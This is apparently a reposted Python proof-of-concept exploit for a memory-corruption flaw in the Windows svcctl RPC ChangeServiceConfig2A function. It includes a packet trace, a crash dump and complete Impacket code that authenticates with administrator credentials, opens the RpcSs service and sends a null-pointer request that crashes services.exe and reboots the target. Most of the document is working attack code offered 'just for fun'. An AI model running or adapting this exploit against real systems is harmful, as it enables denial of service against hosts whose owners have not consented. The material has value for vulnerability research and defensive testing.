MS Windows DCE-RPC svcctl ChangeServiceConfig2A() Memory Corruption

#!/usr/bin/python
     # MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day Memory Corruption PoC Exploit
     # Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
     # Tested on Windows 2000 SP4 Polish (all patches)
     #
     # Requires..
     # - Impacket : http://oss.coresecurity.com/projects/impacket.html
     # - PyCrypto : http://www.amk.ca/python/code/crypto.html
     #
     # Details:..
     #
     # [exploit] Session Setup AndX Request, User: Administrator --> [target]
     # [exploit] Session Setup AndX Response <-- [target]
     # [exploit] Tree Connect AndX Request --> [target]
     # [exploit] Tree Connect AndX Response <-- [target]
     # [exploit] NT Create AndX Request, Path: \svcctl --> [target]
     # [exploit] NT Create AndX Response, Fid: 0x4000 <-- [target]
     # [exploit] DCERPC Bind UUID: SVCCTL --> [target]
     # [exploit] DCERPC Bind_ack <-- [target]
     # [exploit] SVCCTL OpenSCManagerW request --> [target]
     # [exploit] SVCCTL OpenSCManagerW response(handle) <-- [target]
     # [exploit] SVCCTL OpenServiceW request --> [target]
     # [exploit] SVCCTL OpenServiceW response(handle) <-- [target]
     # [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target]
     # [exploit] DCERPC Fault: status: unknwon(0xc00000fd) <-- [target]
     # [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target]
     # [exploit] SMB Trans Response, Error: Unknown DoS Error <-- [target](crashed)
     #
     # [Module services]
     # Exception C0000005 (ACCESS_VIOLATION reading [00000000])
     # -------------------------------------------------------------
     # EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
     # EBX=004D83C0: 28 83 4D 00 48 84 4D 00-34 84 4D 00 48 61 08 00
     # ECX=00000890: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
     # EDX=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
     # ESP=015BF8C0: 34 F9 5B 01 00 00 00 00-00 FB 5B 01 00 00 00 00
     # EBP=015BF8F4: 30 F9 5B 01 AD 20 01 01-B8 FB 0D 00 01 00 00 00
     # ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
     # EDI=01017000: 90 9C 07 00 FF FF FF FF-00 00 00 00 00 00 00 00
     # EIP=010108A8: FF 30 68 90 A5 00 01 FF-75 FC E8 CF 1D 00 00 8B
     # --> PUSH DWORD PTR [EAX]
     #
     # [Process services.exe terminated, system reboot]
     #
     # Just for fun ;]
     ##
     from impacket.structure import Structure
     from impacket.dcerpc import transport
     from impacket import uuid
     from random import randint
     from time import sleep
     host = '192.168.0.1'
     username = 'Administrator'
     password = 'Administrator_Password'
     interface = ('svcctl', '367abb81-9844-35f1-ad32-98f038001003', '2.0')
     stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
     stringbinding %= {
     'host': host,
     'pipe': interface[0],
     }
     # random dword
     def dword_rand():
     s_dword = 256 ** 4
     return randint(0, s_dword)
     # unicode string
     def utf16(str):
     return str.encode('utf_16_le')
     # MS RPC string
     def rpcstr(str, id = 1, unicode_string = 1):
     class foo(Structure):
     alignment = 4
     structure = ()
     if(id == 1):
     structure = (('id', '<L')),
     structure = (
     ('max', '<L'),
     ('offset', '<L=0'),
     ('actual', '<L'),
     ('str', '%s'),
     )
     query = foo()
     if(id == 1):
     query['id'] = dword_rand()
     query['max'] = len(str)
     query['actual'] = len(str)
     if(unicode_string == 1):
     query['str'] = utf16(str)
     else:
     query['str'] = str
     return query
     # MS RPC OpenSCManager
     def OpenSCManager(host, access = 1):
     class foo(Structure):
     opnum = 0x0f
     structure = (
     ('str1', ':'),
     ('null', '<L=0'),
     ('access', '<L'),
     )
     query = foo()
     query['str1'] = rpcstr("\\\\%s\x00" % (host))
     query['access'] = access
     return query
     # MS RPC OpenServiceW
     def OpenService(handle, service, access = 1):
     class foo(Structure):
     opnum = 0x10
     structure = (
     ('handle', ':'),
     ('str1', ':'),
     ('access', '<L'),
     )
     query = foo()
     query['handle'] = handle
     query['str1'] = rpcstr("%s\x00" % (service), 0)
     query['access'] = access
     return query
     trans = transport.DCERPCTransportFactory(stringbinding)
     trans.set_credentials(username, password)
     trans.connect()
     dce = trans.DCERPC_class(trans)
     dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2])))
     query = OpenSCManager(host, access = 1)
     dce.call(query.opnum, query)
     raw = dce.recv()
     handle = raw[:20]
     query = OpenService(handle, "RpcSs", access = 0xF01FF)
     dce.call(query.opnum, query)
     raw = dce.recv()
     handle = raw[:20]
     ##
     # ChangeServiceConfig2A() [IDL code generated by mIDA v1.0.7]
     #
     # typedef struct struct_1 {
     # long elem_1;
     # [switch_is(elem_1)] union union_2 elem_2;
     # } struct_1 ;
     #
     # typedef [switch_type( unsigned long )] union union_2 {
     # [case(1)] struct struct_3 * elem_1;
     # [case(2)] struct struct_4 * elem_2;
     # } union_2;
     #
     # typedef struct struct_3 {
     # [string] char * elem_1;
     # } struct_3 ;
     #
     #
     # /* opcode: 0x24, address: 0x0101203B */
     #
     # long sub_101203B (
     # [in][context_handle] void * arg_1,
     # [in] struct struct_1 arg_2
     # );
     ##
     class ChangeServiceConfig2A(Structure):
     opnum = 0x24
     structure = (
     ('context_handle', ':'),
     ('switch_is', '<L=1'),
     ('case', '<L=1'),
     ('struct_3', '<L=0x00000000'), # <-- vulnerable argument
     )
     query = ChangeServiceConfig2A()
     query['context_handle'] = handle
     for i in range(0, 2):
     dce.call(query.opnum, query)
     sleep(1)
     dce.disconnect()
     # EoF
     //http://www.heibai.com